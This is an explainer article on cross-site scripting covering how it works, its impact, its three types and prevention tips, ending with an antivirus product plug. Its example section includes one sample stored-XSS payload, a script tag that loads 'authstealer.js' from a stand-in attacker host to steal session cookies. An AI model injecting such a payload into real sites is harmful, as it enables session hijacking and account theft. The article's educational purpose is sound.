What is cross-site scripting?
Cross-site scripting attacks – sometimes written as XSS – involve malicious code being injected into otherwise trusted websites. A cross-site scripting attack occurs when cybercriminals inject malicious scripts into the targeted website’s content, which is then included with dynamic content delivered to a victim’s browser. The victim’s browser has no way of knowing that the malicious scripts can’t be trusted and therefore executes them.
As a result, the malicious scripts can access any cookies, session tokens, or other sensitive information retained by the browser and used within that site. Attackers can also use XSS to spread malware, rewrite the contents of websites, cause trouble on social networks, and phish for user credentials. XSS differs from other web attacks in that it does not directly target the application itself. Instead, the users of the web application are the ones at risk.
How cross-site scripting works
Cross-site scripting works by manipulating a vulnerable website so that it returns malicious scripts to users. Often, this involves JavaScript, but any client-side language can be used. Cybercriminals target websites with vulnerable functions that accept user input –such as search bars, comment boxes, or login forms. The criminals attach their malicious code on top of the legitimate website, essentially deceiving browsers into executing their malware whenever the site is loaded.
Since the JavaScript runs on the victim’s browser page, sensitive details about the authenticated user can be stolen from the session, allowing bad actors to target site administrators and compromise websites.
Depending on how the code is injected, the malicious content may not even be on the actual web page itself but rather as a transient element that only appears to be part of the website at the time of exploitation. This can create the illusion that the actual website is compromised when it isn't.
There are different ways to trigger an XSS attack. For example, the execution could be triggered automatically when the page loads or when a user hovers over specific page elements, such as hyperlinks. In some cases, XSS is performed more directly, such as in an email message. Some XSS attacks do not have a specific target; the attacker simply exploits a vulnerability in the application or site, taking advantage of anyone unfortunate enough to fall victim.
Depending on the scale of the attack, user accounts may be compromised, Trojan horse programs activated, and page content modified, misleading users into divulging their private data. Session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private accounts.
A successful cross-site scripting attack can have devastating consequences for an online business's reputation and its relationship with its customers. Unfortunately, the flaws which allow XSS attacks to succeed are quite widespread. XSS attacks can exploit vulnerabilities in various programming environments, including VBScript, Flash, ActiveX, and JavaScript. XSS primarily targets JavaScript because of the language's tight integration with most browsers. This ability to exploit commonly used platforms makes XSS attacks both dangerous and widespread.
XSS impact
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:
- Redirecting users to a malicious website.
- Capturing users’ keystrokes.
- Accessing users’ browser history and clipboard contents.
- Running web browser-based exploits (e.g., crashing the browser).
- Obtaining the cookie information of a user who is logged into a website.
- Stealing the login session token, allowing the attacker to interact with the application as the victim without knowing their password.
- Forcing the user to send attacker-controlled requests to a server.
- Changing the contents of a page.
- Tricking the victim into divulging their password to the application or other applications.
- Infecting the victim with other malicious code using a vulnerability in the web browser itself - possibly taking over the victim's computer.
In some cases, an XSS attack can lead to a complete compromise of the victim’s account. Attackers can trick users into entering credentials on a fake form, which provides all the information to the attacker. Once they obtain user credentials, attacks could use them to commit identity theft or financial fraud.
Types of XSS attacks
Cross-site scripting can be classified into three main categories — Stored XSS, Reflected XSS, and DOM-based XSS.
Stored cross-site scripting (Persistent XSS)
Stored XSS – also known as Persistent XSS – is considered the most damaging type of XSS attack. Stored XSS occurs when user-supplied input is stored and then rendered within a web page. Typical entry points for stored XSS include message forums, blog comments, user profiles, and username fields. An attacker typically exploits this vulnerability by injecting XSS payloads on popular pages of a site or passing a link to a victim, tricking them into viewing the page that contains the stored XSS payload. The victim visits the page, and the payload is executed client-side by the victim’s web browser.
Reflected cross-site scripting (Non-persistent XSS)
The most common type of XSS is known as Reflected XSS (also known as Non-persistent XSS). In this case, the attacker's payload has to be a part of the request sent to the webserver. It is then reflected back in such a way that the HTTP response includes the payload from the HTTP request. Attackers use malicious links, phishing emails, and other social engineering techniques to trick the victim into making a request to the server. The reflected XSS payload is then executed in the user’s browser.
Reflected XSS is not a persistent attack, so the attacker needs to deliver the payload to each victim. These attacks are often made using social networks.
DOM-based cross-site scripting
DOM-based XSS refers to a cross-site scripting vulnerability that appears in the DOM (Document Object Model) instead of part of the HTML. In reflected and stored cross-site scripting attacks, you can see the vulnerability payload in the response page, but in DOM-based cross-site scripting, the attack's HTML source code and response will be the same, i.e., the payload cannot be found in the response. It can only be observed on runtime or by investigating the DOM of the page.
A DOM-based XSS attack is often a client-side attack, and the malicious payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers who analyze server logs because they never see the attack. DOM objects that are most often manipulated include the URL (document.URL), the anchor part of the URL (location.hash), and the Referrer (document.referrer).
XSS attack example
For example: while browsing an e-commerce website, a bad actor identifies a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to include them with the rest of the source code every time the page is opened.
The attacker adds a comment, along these lines: Great value item. Read my full review here <script src=”http://attackersite.com/authstealer.js”> </script>.
After that, each time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site and can steal visitors' session cookies.
Using the session cookie, the attacker can compromise the visitor’s account, giving them easy access to their personal information and financial data. Meanwhile, the visitor, who may not have even scrolled down to the comments section, remains unaware that the attack took place.
Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, jeopardizing all visitors no matter how cautious they are.
From the attacker’s point of view, persistent XSS attacks are harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enable permanent script embedding.
Cross site scripting prevention
To minimize cross-site scripting vulnerability, website developers/owners should:
- Ensure that any page on their website that accepts user input filters out code inputs, such as HTML and JavaScript.
- Scan for any web application vulnerabilities and patch them accordingly.
- Update their website and server software to prevent future exploitation of vulnerabilities that may be targeted through an XSS attack.
To avoid falling victim to an XSS attack, individual users should:
- Disable scripting on pages where they are not required or disable them altogether.
- Avoid clicking on links from suspicious emails or posts on message boards, as they could lead to compromised pages.
- Access websites directly by typing the URL into their browser rather than via a third-party source or link.
- Keep software up to date to benefit from the latest bug fixes and security patches. Regularly updating software will significantly reduce the vulnerabilities that leave a site or application open to XSS attacks.
- Audit applications to determine which are needed and which are rarely used. Getting rid of apps you don’t use reduces the number of potential vulnerabilities.
- Use a high-quality antivirus, such as Kaspersky Total Security – this works 24/7 to secure your devices and data. It blocks common and complex threats like viruses, malware, ransomware, spy apps, and all the latest hacker tricks.
Related articles:
